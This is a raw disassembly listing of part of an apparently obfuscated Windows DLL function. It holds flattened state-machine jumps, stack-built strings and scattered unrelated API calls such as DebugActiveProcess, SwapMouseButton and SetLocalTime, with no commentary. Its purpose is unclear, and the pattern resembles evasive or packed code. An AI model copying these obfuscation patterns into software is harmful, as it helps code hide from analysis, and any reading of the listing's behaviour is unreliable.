ja 0x1800380d7
je 0x18003807f
mov eax, ebx
sub eax, 0xd
je 0x180038052
sub eax, 0x57
je 0x180038029
cmp eax, 0x57
jne 0x1800380e9
movsd xmm0, qword [0x180099202]
movzx eax, word [0x18009920a]
movsd qword [rbp + 0x83a], xmm0
mov word [rbp + 0x842], ax
mov dword [rbp + 0x844], 0x74
mov byte [rsp + 0x60], 1
jmp 0x1800380e9
movabs rax, 0x67006e00690070
mov dword [rbp + 0x82e], 0x700061
mov qword [rbp + 0x832], rax
xor eax, eax
mov word [rbp + 0x83a], ax
jmp 0x1800380e9
mov eax, dword [0x1800992dc]
mov dword [rbp + 0x820], eax
movzx eax, word [0x1800992e0]
mov word [rbp + 0x824], ax
movabs rax, 0x4d0065006c0069
mov qword [rbp + 0x826], rax
jmp 0x1800380e9
xor r9d, r9d
lea rax, [rbp + 0x820]
xor edx, edx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x100
lea r8d, [r9 + 4]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rdi, rax
test rax, rax
jne 0x1800380b7
mov byte [rsp + 0x60], al
lea edi, [rax + 7]
jmp 0x1800380e9
cmp byte [rsp + 0x60], 0
je 0x1800380d0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, 7
jmp 0x1800380e9
mov eax, ebx
sub eax, 0x169
je case.0x180034497.56
cmp eax, 0x57
je 0x1800380f8
add ebx, 0x57
cmp ebx, 0x217
jb 0x180037fd0
mov edi, 1
mov ecx, 0x9e
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
mov rsi, qword [rbp - 0x60]
add ecx, 0x24
mov r8d, 0
cmp ecx, 0xe6
jb 0x180037630
mov esi, 0x763b
jmp 0x180038f6c
mov r14, qword [rbp - 0x68]
mov rsi, qword [rbp - 0x60]
mov eax, 0xa5
nop dword [rax + rax]
cmp eax, 0xa5
je 0x180039129
add eax, 0x1f
cmp eax, 0xc4
jb 0x180038140
mov ecx, 0x9a
nop word [rax + rax]
mov eax, ecx
sub eax, 0x98
je case.0x180034497.56
sub eax, 1
je 0x180038271
cmp eax, 1
jne 0x18003827c
movsx edx, byte [rsi]
lea eax, [rdx - 0x30]
cmp eax, 9
ja case.0x180038a5d.19
lea r9, [0x180000000]
cdqe
mov ecx, dword [r9 + rax*4 + 0x39a18]
add rcx, r9
jmp rcx
mov rax, qword [r14 + 8]
lea r9, [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
mov qword [rsp + 0x20], r8
xor r8d, r8d
mov byte [rsp + 0x58], dl
xor edx, edx
call fcn.18003fde0
mov eax, 0x11
mov ecx, 0x9a
mov dword [r14], eax
jmp 0x18003827c
cmp dword [r14 + 4], 0
jne 0x180038262
mov rcx, qword [r14 + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xffffffffffffffff
jae 0x180038262
xor edx, edx
mov qword [rbp - 0x38], 5
lea rcx, [rbp - 0x38]
lea r8d, [rdx + 0x12]
call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
movzx ecx, byte [rsi]
lea r9, [rsp + 0x58]
mov byte [rsp + 0x58], cl
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
xor edx, edx
mov qword [rsp + 0x20], 0
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
mov dword [r14 + 4], eax
mov eax, 0x18
mov dword [r14], eax
mov ecx, 0x9a
jmp 0x18003827c
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
dec ecx
mov r8d, 0
cmp ecx, 0x97
ja 0x180038160
mov esi, 0x84ed
jmp 0x180038f6c
cmp esi, 0xb103
ja 0x180038f37
je 0x1800389bf
cmp esi, 0x8b89
je case.0x180034497.56
cmp esi, 0x939f
je 0x180038536
cmp esi, 0xa251
jne 0x180038f70
mov ecx, 0x76
mov eax, ecx
sub eax, 0x76
je 0x1800382ec
sub eax, 0x58
je case.0x18003831a.9
cmp eax, 0x58
je case.0x180034497.56
jmp 0x18003835a
mov rax, qword [rbp - 0x60]
movsx eax, byte [rax]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x180038a5d.19
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x39a50]
mov ecx, dword [rdx + rax*4 + 0x39a40]
add rcx, rdx
jmp rcx
mov ebx, 0xbe
mov eax, ebx
sub eax, 0xbe
je 0x180038404
sub eax, 0x3f
je 0x1800383cd
sub eax, 0x3f
je 0x1800383b0
sub eax, 0x3f
je 0x1800383a4
cmp eax, 0x3f
jne 0x18003844c
mov edi, 1
mov ecx, 0xce
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
add ecx, 0x58
mov r8d, 0
cmp ecx, 0x17e
jb 0x1800382d5
mov r14, qword [rbp - 0x68]
mov r11, qword [rbp - 0x80]
mov rsi, qword [rbp - 0x60]
mov ecx, 0xaa
mov eax, ecx
sub eax, 0xaa
je 0x1800384bd
sub eax, 1
je case.0x1800384e7.9
cmp eax, 1
je 0x180039193
jmp 0x18003851a
lea rdx, [rbp + 0x816]
jmp 0x18003843f
lea rdx, [rbp + 0x814]
lea rcx, [rbp + 0x810]
call qword [sym.imp.USER32.dll_CharPrevA]
lea rdx, [rbp + 0x815]
jmp 0x18003843f
lea rdx, [rbp + 0x812]
mov qword [r12 + 8], r8
lea rcx, [rbp + 0x810]
call qword [sym.imp.USER32.dll_CharPrevA]
lea rdx, [rbp + 0x813]
lea rcx, [rbp + 0x810]
call qword [sym.imp.USER32.dll_CharPrevA]
mov dword [r12], 1
jmp 0x18003844c
lea rdx, str.STRI
mov byte [rbp + 0x810], 0
lea rcx, [rbp + 0x810]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r8d, 3
lea rdx, [0x180099670]
lea rcx, [rbp + 0x814]
call fcn.18005c310
lea rdx, [rbp + 0x811]
lea rcx, [rbp + 0x810]
call qword [sym.imp.USER32.dll_CharPrevA]
add ebx, 0x3f
mov r8d, 0
cmp ebx, 0x1f9
jb 0x180038321
mov ebx, 0x8f
nop word [rax + rax]
cmp ebx, 0xf5
jae case.0x180038a5d.19
mov eax, ebx
sub eax, 0x8f
je 0x180038493
cmp eax, 0x33
je case.0x18003831a.9
add ebx, 0x33
jmp 0x180038470
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 8]
test rax, rax
je 0x1800384a2
call rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ecx, eax
mov dword [r12], 0x1a
call qword [sym.imp.USER32.dll_GetThreadDesktop]
add ebx, 0x33
jmp 0x180038470
movsx eax, byte [rsi]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x180038a5d.19
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x39adc]
mov ecx, dword [rdx + rax*4 + 0x39ac8]
add rcx, rdx
jmp rcx
mov rax, qword [r11 + 8]
test rax, rax
je case.0x1800384e7.9
call rax
jmp case.0x1800384e7.9
mov rax, qword [r11 + 0x18]
test rax, rax
je case.0x1800384e7.9
call rax
jmp case.0x1800384e7.9
mov rax, qword [r11 + 0x50]
test rax, rax
je 0x18003850e
call rax
mov dword [r14], 0x1b
mov ecx, 0xab
mov r11, qword [rbp - 0x80]
inc ecx
cmp ecx, 0xad
jb 0x180038380
mov esi, 0xa251
jmp 0x180038f6c
mov r14, qword [rbp - 0x68]
mov r12d, dword [rbp - 0x70]
mov rsi, qword [rbp - 0x60]
mov ecx, 0xa7
mov eax, ecx
sub eax, 0xa7
je 0x180038573
sub eax, 5
je 0x180038563
cmp eax, 5
je case.0x180034497.56
jmp 0x18003899c
mov edi, 1
mov dword [rbp - 0x74], edi
mov dword [rbp - 0x78], edi
jmp 0x18003899c
movsx eax, byte [rsi]
add eax, 0xfffffff7
cmp eax, 0x74
ja case.0x18003859d.16
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x39b74]
mov ecx, dword [rdx + rax*4 + 0x39b54]
add rcx, rdx
jmp rcx
cmp dword [r14 + 4], 0
jne case.0x180038815.0
mov rcx, qword [r14 + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xffffffffffffffff
jae 0x18003862a
xor edx, edx
mov qword [rbp - 0x38], 5
lea rcx, [rbp - 0x38]
lea r8d, [rdx + 0x12]
call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
movzx ecx, byte [rsi]
lea r9, [rsp + 0x58]
mov byte [rsp + 0x58], cl
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
xor edx, edx
mov qword [rsp + 0x20], 0
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
jmp case.0x180038815.0
mov dword [r14 + 4], 1
jmp case.0x180038815.0
xor edx, edx
mov qword [rbp - 0x38], 5
lea rcx, [rbp - 0x38]
lea r8d, [rdx + 0x12]
call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x20], 0
xor edx, edx
mov byte [rsp + 0x58], 0x2e
mov ecx, 0xbd
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
mov dword [r14], 0x12
jmp case.0x180038815.0
mov ebx, 0x7e
nop dword [rax]
mov eax, ebx
sub eax, 0x7e
je 0x1800386f8
sub eax, 1
je 0x1800386bd
cmp eax, 1
jne 0x18003871f
mov dword [r14], 0x14
jmp case.0x180038815.0
movzx eax, byte [rsi]
lea r9, [rsp + 0x58]
mov byte [rsp + 0x58], al
xor edx, edx
mov rax, qword [r14 + 8]
mov ecx, 0xbd
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r8
xor r8d, r8d
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
xor r8d, r8d
mov dword [r14 + 4], r8d
jmp 0x18003871f
xor edx, edx
mov qword [rbp - 0x38], 5
lea rcx, [rbp - 0x38]
lea r8d, [rdx + 0x12]
call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
xor r8d, r8d
inc ebx
cmp ebx, 0x81
jb 0x1800386a0
mov eax, 4
cmp eax, 4
je 0x180038768
inc eax
cmp eax, 5
jb 0x180038732
mov ebx, 0x7e
cmp ebx, 0x7e
je 0x1800387be
cmp ebx, 0x20fa
je 0x1800387a1
cmp ebx, 0x4176
jne 0x1800387dd
mov dword [r14], 0x1a
jmp case.0x180038815.0
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800347eb
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x180038787
mov rcx, qword [rcx]
call rax
mov edx, 0xae
lea rcx, [r14 + 8]
call fcn.1800329d0
mov dword [r14], 0
jmp case.0x180038815.0
lea rcx, [r14 + 8]
mov edx, 0xae
call fcn.1800329d0
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je 0x1800387dd
call qword [rax + 8]
jmp 0x1800387dd
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800347eb
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x1800387dd
mov rcx, qword [rcx]
call rax
add ebx, 0x207c
cmp ebx, 0x6174
jbe 0x180038743
lea rdx, [0x180000000]
mov esi, 6
nop dword [rax + rax]
cmp esi, 6
ja case.default.0x180038815
mov eax, esi
mov ecx, dword [rdx + rax*4 + 0x39bec]
add rcx, rdx
jmp rcx
mov dword [r14], 0x1a
test r12b, r12b
je case.default.0x180038815
mov rcx, qword [rbp - 0x20]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp case.default.0x180038815
movabs rax, 0x530065006d
mov qword [rbp + 0x884], rax
mov eax, 0x65
mov dword [rbp + 0x88a], eax
jmp case.default.0x180038815
mov eax, 0x4e
mov dword [rbp + 0x880], eax
mov eax, 0x61
mov dword [rbp + 0x882], eax
jmp case.default.0x180038815
mov rax, qword [rbp - 0x80]
lea rbx, [r14 + 8]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x180038888
mov rcx, qword [rbx]
mov rcx, qword [rcx]
call rax
mov edx, 0xae
mov rcx, rbx
call fcn.1800329d0
lea r8, [rbp + 0x880]
xor edx, edx
mov ecx, 0x1f0003
call qword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x80]
cmp qword [rax], 0
je case.default.0x180038815
call qword [rax + 0x18]
jmp case.default.0x180038815
cmp qword [r14 + 8], 0
je 0x1800347eb
mov r12b, 1
jmp 0x1800388de
cmp qword [rbp - 0x20], 0
mov eax, 0
movzx r12d, r12b
cmove r12d, eax
mov dword [rbp - 0x70], r12d
dec esi
lea rdx, [0x180000000]
lea eax, [rsi + 0x84]
cmp eax, 0x83
ja 0x180038800
mov esi, 0x93
mov eax, esi
sub eax, 0x93
je 0x180038915
cmp eax, 3
je case.0x180038815.0
jmp 0x180038958
mov rcx, qword [r14 + 8]
test rcx, rcx
je 0x1800347eb
mov rax, qword [rbp - 0x80]
mov rax, qword [rax + 0x28]
test rax, rax
je 0x180038934
mov rcx, qword [rcx]
call rax
mov edx, 0xae
lea rcx, [r14 + 8]
call fcn.1800329d0
mov rcx, qword [rbp - 0x80]
mov rax, qword [rcx + 0x48]
test rax, rax
je 0x180038951
call rax
mov dword [r14], 0x1b
add esi, 3
cmp esi, 0x99
jb 0x180038901
mov ebx, 5
mov eax, ebx
sub eax, 5
je 0x180038984
sub eax, 0x4a
je 0x180038984
sub eax, 0x4a
je case.0x180038a5d.19
cmp eax, 0x4a
je case.0x180038815.0
jmp 0x18003898c
xor ecx, ecx
call qword [sym.imp.USER32.dll_SwapMouseButton]
add ebx, 0x4a
cmp ebx, 0x12d
jb 0x180038968
mov ecx, 0xa7
mov rsi, qword [rbp - 0x60]
add ecx, 5
mov r8d, 0
cmp ecx, 0xb6
jb 0x180038547
mov esi, 0x939f
jmp 0x180038f6c
mov r14, qword [rbp - 0x68]
mov rsi, qword [rbp - 0x60]
mov ecx, 0x32
nop dword [rax]
mov eax, ecx
sub eax, 0x2f
je 0x18003923e
sub eax, 1
je 0x180038f21
sub eax, 1
je 0x180038a2b
cmp eax, 1
jne 0x180038f21
mov eax, 0x67
mov dword [rbp + 0x7f0], 0x770054
mov word [rbp + 0x800], ax
mov dword [rbp + 0x7f4], 0x53006f
mov dword [rbp + 0x7f8], 0x720074
mov dword [rbp + 0x7fc], 0x6e0069
jmp 0x180038f21
movsx eax, byte [rsi]
add eax, 0xfffffff7
mov word [rbp + 0x802], r8w
cmp eax, 0x72
ja case.0x180038a5d.19
lea rdx, [0x180000000]
cdqe
movzx eax, byte [rdx + rax + 0x39c34]
mov ecx, dword [rdx + rax*4 + 0x39c08]
add rcx, rdx
jmp rcx
mov dword [r14], 1
mov qword [r14 + 8], r8
jmp case.0x180038a5d.9
mov rax, qword [r11]
test rax, rax
je 0x180038a79
call rax
mov dword [r14], 0x19
call qword [sym.imp.USER32.dll_GetShellWindow]
jmp 0x180038f19
mov rax, qword [r11 + 0x10]
test rax, rax
je case.0x180038a5d.9
call rax
jmp 0x180038f19
mov dword [r14], 7
jmp case.0x180038a5d.9
mov dword [r14], 0xa
jmp case.0x180038a5d.9
mov dword [r14], 0xe
jmp case.0x180038a5d.9
xor edx, edx
mov dword [r14], 0x11
lea rcx, [rbp - 0x38]
mov qword [rbp - 0x38], 5
lea r8d, [rdx + 0x12]
call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x58]
xor r8d, r8d
mov qword [rsp + 0x20], 0
xor edx, edx
mov byte [rsp + 0x58], 0x30
mov ecx, 0xbd
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
jmp 0x180038f19
mov ecx, 0x7a
nop dword [rax + rax]
mov eax, ecx
sub eax, 0x7a
je 0x180038be4
sub eax, 1
je 0x180038bc8
sub eax, 1
je 0x180038bbc
cmp eax, 1
jne 0x180038beb
xor edx, edx
mov qword [rbp - 0x38], 5
lea r8d, [rax + 0x11]
lea rcx, [rbp - 0x38]
call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
movzx ecx, byte [rsi]
lea r9, [rsp + 0x58]
mov byte [rsp + 0x58], cl
xor r8d, r8d
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
xor edx, edx
mov qword [rsp + 0x20], 0
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
lea rdx, [rbp + 0x820]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetMonitorInfoW]
jmp 0x180038f19
mov dword [rbp + 0x820], 0x28
jmp 0x180038beb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x820], xmm0
mov qword [rbp + 0x840], rax
movups xmmword [rbp + 0x830], xmm0
jmp 0x180038beb
mov dword [r14], 0x18
inc ecx
cmp ecx, 0x7e
jb 0x180038b30
mov ebx, 6
nop dword [rax + rax]
lea eax, [rbx + 0x3f]
cmp eax, 0x3e
jbe case.0x180038a5d.19
cmp ebx, 6
ja case.default.0x180038c21
mov eax, ebx
mov ecx, dword [rdx + rax*4 + 0x39ca8]
add rcx, rdx
jmp rcx
lea rdx, [0x180099770]
lea rcx, [rbp + 0x82c]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x180000000]
dec ebx
jmp 0x180038c00
mov r8d, 3
lea rdx, [0x180099774]
lea rcx, [rbp + 0x82e]
call fcn.18005c2b0
lea rcx, [rbp + 0x820]
sub rcx, 2
nop word [rax + rax]
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x180038c70
mov eax, dword [0x18009977c]
lea rdx, [0x18009978c]
mov dword [rcx], eax
movzx eax, word [0x180099780]
mov word [rcx + 4], ax
lea rcx, [rbp + 0x83a]
mov eax, dword [0x180099784]
mov dword [rbp + 0x836], eax
movzx eax, word [0x180099788]
mov word [rbp + 0x83a], ax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x180000000]
dec ebx
jmp 0x180038c00
mov eax, dword [0x180099794]
lea rdx, str.File
mov dword [rbp + 0x820], eax
lea rcx, [rbp + 0x824]
movzx eax, word [0x180099798]
mov word [rbp + 0x824], ax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x180000000]
dec ebx
jmp 0x180038c00
xor r9d, r9d
lea rax, [rbp + 0x820]
xor edx, edx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x100
lea r8d, [r9 + 4]
lea rcx, [rdx - 1]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
lea r9, [rsp + 0x58]
mov byte [rsp + 0x58], 0x2d
mov qword [rbp + 8], rax
xor r8d, r8d
mov rax, qword [r14 + 8]
xor edx, edx
mov qword [rsp + 0x28], rax
mov ecx, 0xbd
mov qword [rsp + 0x20], 0
call fcn.18003fde0
cmp eax, 1
jne 0x1800347eb
lea rdx, [0x180000000]
dec ebx
jmp 0x180038c00
xor edx, edx
mov qword [rbp - 0x38], 8
lea rcx, [rbp - 0x38]
lea r8d, [rdx + 0x12]
call fcn.180026bc0
mov qword [r14 + 8], rax
test rax, rax
je 0x1800347eb
mov rax, qword [sym.imp.KERNEL32.dll_SetLocalTime]
lea rdx, [0x180000000]
mov qword [rbp + 0x8a0], rax
dec ebx
jmp 0x180038c00
lea rcx, [rbp + 0x820]
sub rcx, 2
nop
cmp word [rcx + 2], 0
lea rcx, [rcx + 2]
jne 0x180038dc0
mov eax, dword [0x1800997ac]
lea rdx, [0x1800997b4]
mov dword [rcx], eax
mov r8d, 2
movzx eax, word [0x1800997b0]
mov word [rcx + 4], ax
lea rcx, [rbp + 0x820]
call fcn.1800568cc
lea rdx, [0x180000000]
mov dword [r14], 0x17
mov byte [rsp + 0x70], 1
dec ebx
jmp 0x180038c00
movzx eax, byte [rsp + 0x70]
xor esi, esi
cmp qword [rbp + 8], rsi
mov ebx, 0xbc
mov r13d, 0x6d69
cmovne esi, eax
nop word [rax + rax]
mov eax, ebx
sub eax, 0xbc
je 0x180038e98
sub eax, 0x21
je 0x180038e73
sub eax, 0x21
je 0x180038e68
cmp eax, 0x21
jne 0x180038edd
mov r8, qword [rbp + 0x8a0]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x400]
call fcn.1800011d0
jmp 0x180038edd
mov word [rbp + 0x15e], 0x70
jmp 0x180038edd
movzx eax, word [0x1800996a8]
mov word [rbp + 0x15b], ax
movzx eax, byte [0x1800996aa]
mov byte [rbp + 0x15d], al
mov word [rbp + 0x159], r13w
jmp 0x180038edd
movzx eax, word [0x180099731]
lea rdx, [0x180099760]
mov word [rbp + 0x150], ax
lea rcx, [rbp + 0x150]
movzx eax, byte [0x180099733]
mov r8d, 2
mov byte [rbp + 0x152], al
mov byte [rbp + 0x153], 0
call fcn.180062ed0
mov dword [rbp + 0x155], 0x546c6163
add ebx, 0x21
cmp ebx, 0x140
jb 0x180038e30
movzx r13d, byte [rsp + 0x68]
mov byte [rsp + 0x70], sil
test sil, sil
je 0x180038f15
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x70], sil
mov rsi, qword [rbp - 0x60]
xor r8d, r8d
mov ecx, 0x31
mov r11, qword [rbp - 0x80]
dec ecx
cmp ecx, 0x2e
ja 0x1800389d0
mov esi, 0xb103
jmp 0x180038f6c
cmp esi, 0xbfb5
je 0x180038f51
cmp esi, 0xce67
jne 0x180038f70
mov eax, 0xa
jmp 0x180034b09
mov rdx, qword [rbp + 0x870]
lea r9, [rbp + 0x8d0]
lea r8, [rbp + 0x900]
call qword [sym.imp.USER32.dll_FindWindowExW]
mov r9d, dword [rbp - 0x54]
mov r12, qword [rbp - 0x68]
mov r11, qword [rbp - 0x80]
mov rcx, qword [rbp + 0x10]
imul eax, r9d, 0x16
add esi, eax
xor r8d, r8d
jmp 0x1800362e3
mov rax, qword [rbp - 0x60]
cmp byte [rax], 0x6c
jne case.0x180038a5d.19
mov dword [r12], r8d
mov rax, qword [r11 + 0x40]
jmp 0x18003623c
mov r14, qword [rbp - 0x68]
mov rsi, qword [rbp - 0x60]
cmp byte [rsi], 0x6c
jne case.0x180038a5d.19
mov dword [r14], 0x10
mov eax, 1
jmp 0x180034b09
mov ebx, 0xbc
mov ecx, 0x2073
mov edx, 0x25
mov esi, 0x7365
mov edi, 0x6f72
mov r13d, 0x7463
lea r12d, [rbx - 0x7b]
nop dword [rax]
cmp ebx, 0x1ac
ja 0x180039086
je 0x180039078
mov eax, ebx
sub eax, 0xbc
je 0x180039067
sub eax, 0x3c
je 0x180039048
sub eax, 0x3c
je 0x180039037
cmp eax, 0x3c
jne 0x180039104
mov eax, 0x76
mov word [rbp + 0x7f9], ax
mov eax, 0x65
mov word [rbp + 0x7fa], ax
jmp 0x180039104
mov eax, 0x69
mov word [rbp + 0x7f8], ax
jmp 0x180039104
mov word [rbp + 0x7f5], r12w
mov word [rbp + 0x7f6], r13w
mov dword [rbp + 0x7f1], 0x67756265
jmp 0x180039104
mov eax, 0x44
mov word [rbp + 0x7f0], ax
jmp 0x180039104
mov eax, 0x50
mov word [rbp + 0x7fb], ax
jmp 0x180039104
mov eax, ebx
sub eax, 0x1e8
je 0x1800390fd
sub eax, 0x3c
je 0x1800390e8
sub eax, 0x3c
je 0x1800390c4
cmp eax, 0x3c
jne 0x180039104
mov r8, qword [sym.imp.KERNEL32.dll_DebugActiveProcess]
lea rdx, [rbp + 0x7f0]
lea rcx, [rbp + 0x400]
call fcn.1800011d0
mov ecx, 0x2073
mov edx, 0x25
jmp 0x180039104
mov eax, 0x70
mov dword [rbp + 0x801], 0x252073
mov word [rbp + 0x804], ax
mov eax, 0xa
mov word [rbp + 0x805], ax
jmp 0x180039104
mov eax, 0x63
mov word [rbp + 0x7fe], ax
mov word [rbp + 0x7ff], si
jmp 0x180039104
mov word [rbp + 0x7fc], di
add ebx, 0x3c
cmp ebx, 0x2d8
jb 0x180038ff0
mov eax, 7
jmp 0x180034b09
mov byte [rbp - 0x78], 0
mov eax, dword [rbp - 0x78]
jmp 0x180034b09
movsx eax, byte [rsi]
add eax, 0xffffffd0
cmp eax, 9
ja case.0x180038a5d.19
lea rdx, [0x180000000]
cdqe
mov ecx, dword [rdx + rax*4 + 0x39cc4]
add rcx, rdx
jmp rcx
mov edi, dword [rbp + 0x20]
mov ebx, 0x15
mov rsi, qword [rbp + 0x870]
nop dword [rax]
mov eax, ebx
sub eax, 0x15
je 0x1800391ba
sub eax, 1
je 0x1800391ae
sub eax, 1
je 0x18003919d
cmp eax, 1
jne 0x18003922b
lea r9, [rbp + 0x160]
mov edx, edi
lea r8, [rbp + 0x150]
mov rcx, rsi
call qword [sym.imp.USER32.dll_DrawAnimatedRects]
mov eax, 1
jmp 0x180034b09
mov dword [r14], 0x15
mov rsi, r8
mov edi, 3
jmp 0x18003922b
xorps xmm0, xmm0
movups xmmword [rbp + 0x160], xmm0
jmp 0x18003922b
cmp dword [r14 + 4], 0
jne 0x180039221
mov rcx, qword [r14 + 8]
mov eax, 0x62
mov dword [rsp + 0x28], eax
xor r9d, r9d
mov qword [rsp + 0x20], r8
xor edx, edx
xor r8d, r8d
call fcn.1800404b0
cmp rax, 0xfffffffffffffffe
jae 0x180039219
mov rax, qword [rbp - 0x60]
lea r9, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov ecx, 0xbd
movzx eax, byte [rax]
mov byte [rsp + 0x58], al
mov rax, qword [r14 + 8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
call fcn.18003fde0
jmp 0x180039221
mov dword [r14 + 4], 1
xorps xmm0, xmm0
movups xmmword [rbp + 0x150], xmm0
inc ebx
cmp ebx, 0x19
jae case.0x180038a5d.19
xor r8d, r8d
jmp 0x180039160
lea rcx, [rbp + 0x7f0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov eax, 1
jmp 0x180034b09